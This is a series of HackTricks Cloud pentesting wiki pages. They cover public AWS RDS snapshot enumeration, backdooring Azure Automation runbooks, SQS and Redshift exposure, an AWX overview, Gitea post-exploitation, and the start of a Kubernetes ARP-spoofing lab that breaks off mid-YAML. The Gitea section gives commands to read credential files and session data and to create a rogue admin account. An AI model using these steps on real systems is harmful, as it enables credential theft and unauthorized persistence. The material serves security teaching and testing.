HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information check: [AWS - Relational Database (RDS) Enum](../aws-services/aws-relational-database-rds-enum.html) It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database. AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account: bash # Public RDS snapshots aws rds describe-db-snapshots --include-public ## Search by account ID aws rds describe-db-snapshots --include-public --query 'DBSnapshots[?contains(DBSnapshotIdentifier, `284546856933:`) == `true`]' ## To share a RDS snapshot with everybody the RDS DB cannot be encrypted (so the snapshot won't be encryted) ## To share a RDS encrypted snapshot you need to share the KMS key also with the account # From the own account you can check if there is any public snapshot with: aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - Automation Accounts Persistence - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 2 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about Automation Accounts check: [Az - Automation Accounts](../az-services/az-automation-accounts.html) If an attacker has access to the automation account, he could **add a backdoor** to an existing runbook to **maintain persistence** and **exfiltrate data** like tokens every time the runbook is executed. ### Schedules & Webhooks Create or modify an existing Runbook and add a schedule or webhook to it. This will allow an attacker to **maintain persistence even if access over the environment was lost** by executing the backdoor which might be leaking tokens from the MI at specific times or whenever he wants by sending a request to the webhok. If a VM is used as a hybrid worker group, an attacker could **install malware** inside the VM to **maintain persistence** and **exfiltrate data** like tokens for the managed identities given to the VM and to the automation account using the VM. If the automation account is using custom packages in custom environments, an attacker could **modify the package** to **maintain persistence** and **exfiltrate data** like tokens. This would also be a stealth persistence method as custom packages uploaded manually are rearely checked for malicious code. If the automation account is using external repos to store the code like Github, an attacker could **compromise the repo** to **maintain persistence** and **exfiltrate data** like tokens. This is specially interesting if the clatest evrsion of the code is automatically synced with the runbook. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - SQS Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information about SQS check: [AWS - SQS Enum](../aws-services/aws-sqs-and-sns-enum.html) https://sqs.[region].amazonaws.com/[account-id]/{user_provided} It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Redshift Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. {user_provided}...redshift.amazonaws.com tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Ansible Tower / AWX / Automation controller Security - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 8 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows. **Automation Controller is a newer** version of Ansible Tower with more capabilities. According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) , the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows. * **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs. * **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface. * **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data. * **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners. * **Redis**: Redis serves as a cache and a backend for the task queue. * **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc. * **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed.. * **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job. * **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run. * **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials. * **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events. * **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc. * **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed. 1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower. 2. **Job Initiation**: * The user, via the Web Interface or API, initiates a job based on a **Job Template**. * The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**. * Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution. 3. **Job Queuing**: * **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ. * **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution. 4. **Job Execution**: * The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials. * Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**. * As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**. 5. **Job Results**: * Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**. * Users can then view the results through the Web Interface or query them via the REST API. * Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc. 6. **External Systems Integration**: * **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more. * **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution. * **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times. [**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX: bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version cd awx # Build make docker-compose-build # Run make docker-compose # Or to create a more complex env MAIN_NODE_TYPE=control EXECUTION_NODE_COUNT=2 COMPOSE_TAG=devel make docker-compose # Clean and build the UI docker exec tools_awx_1 make clean-ui ui-devel # Once migrations are completed and the UI is built, you can begin using AWX. The UI can be reached in your browser at https://localhost:8043/#/home, and the API can be found at https://localhost:8043/api/v2. # Create an admin user docker exec -ti tools_awx_1 awx-manage createsuperuser # Load demo data docker exec tools_awx_1 awx-manage create_preload_data The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**. From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one. Expand this to get detailed description of available roles 1. **System Administrator**: * This is the superuser role with permissions to access and modify any resource in the system. * They can manage all organizations, teams, projects, inventories, job templates, etc. 2. **System Auditor**: * Users with this role can view all system data but cannot make any changes. * This role is designed for compliance and oversight. 3. **Organization Roles**: * **Admin**: Full control over the organization's resources. * **Auditor**: View-only access to the organization's resources. * **Member**: Basic membership in an organization without any specific permissions. * **Execute**: Can run job templates within the organization. * **Read**: Can view the organization’s resources. 4. **Project Roles**: * **Admin**: Can manage and modify the project. * **Use**: Can use the project in a job template. * **Update**: Can update project using SCM (source control). 5. **Inventory Roles**: * **Admin**: Can manage and modify the inventory. * **Ad Hoc**: Can run ad hoc commands on the inventory. * **Update**: Can update the inventory source. * **Use**: Can use the inventory in a job template. * **Read**: View-only access. 6. **Job Template Roles**: * **Admin**: Can manage and modify the job template. * **Execute**: Can run the job. * **Read**: View-only access. 7. **Credential Roles**: * **Admin**: Can manage and modify the credentials. * **Use**: Can use the credentials in job templates or other relevant resources. * **Read**: View-only access. 8. **Team Roles**: * **Member**: Part of the team but without any specific permissions. * **Admin**: Can manage the team's members and associated resources. 9. **Workflow Roles**: * **Admin**: Can manage and modify the workflow. * **Execute**: Can run the workflow. * **Read**: View-only access. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Gh Actions - Artifact Poisoning - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # Gitea Security - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 7 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. ![](../../images/image%20(160).png) [Basic Gitea Information](basic-gitea-information.html) To run a Gitea instance locally you can just run a docker container: bash docker run -p 3000:3000 gitea/gitea Connect to port 3000 to access the web page. You could also run it with kubernetes: helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea * Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) * Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) * Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. For this scenario we are going to suppose that you have obtained some access to a github account. If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. note Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: bash # Go to the the repository folder # Get repo config and current user name and email git config --list If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/.keys_, you could check this to confirm the private key you found can be used. **SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. Check locally if the current user has any key with: shell gpg --list-secret-keys --keyid-format=long For an introduction about [**User Tokens check the basic information**](basic-gitea-information.html#personal-access-tokens) . A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/) . it will has **complete access** over the user. For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application) . An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. As explained in the basic information, the application will have **full access over the user account**. In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: * **Enable Push**: If anyone with write access can push to the branch, just push to it. * **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch. * **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it * **Require approvals is bigger than 0**: Then... you need to compromise another user * **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list * **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR. Note that **if you are an org/repo admin** you can bypass the protections. **Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**. However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**. But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further. Webhooks can be set at **repo and at org level**. If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` In this file you can find **keys** and **passwords**. In the gitea path (by default: /data/gitea) you can find also interesting information like: * The **sqlite** DB: If gitea is not using an external db it will use a sqlite db * The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB). * The **jwt private key** inside the jwt folder * More **sensitive information** could be found in this folder If you are inside the server you can also **use the `gitea` binary** to access/modify information: * `gitea dump` will dump gitea and generate a .zip file * `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence) * `gitea admin user change-password --username admin --password newpassword` Change the password * `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Gh Actions - Context Script Injections - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # Kubernetes Network Attacks - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 9 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers. ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns. In the scenario 4 machines are going to be created: * ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack) * **ubuntu-attack**: **Malicious** container in default namespace * **ubuntu-victim**: **Victim** machine in kube-system namespace * **mysql**: **Victim** machine in default namespace yaml echo 'apiVersion: v1 kind: Pod 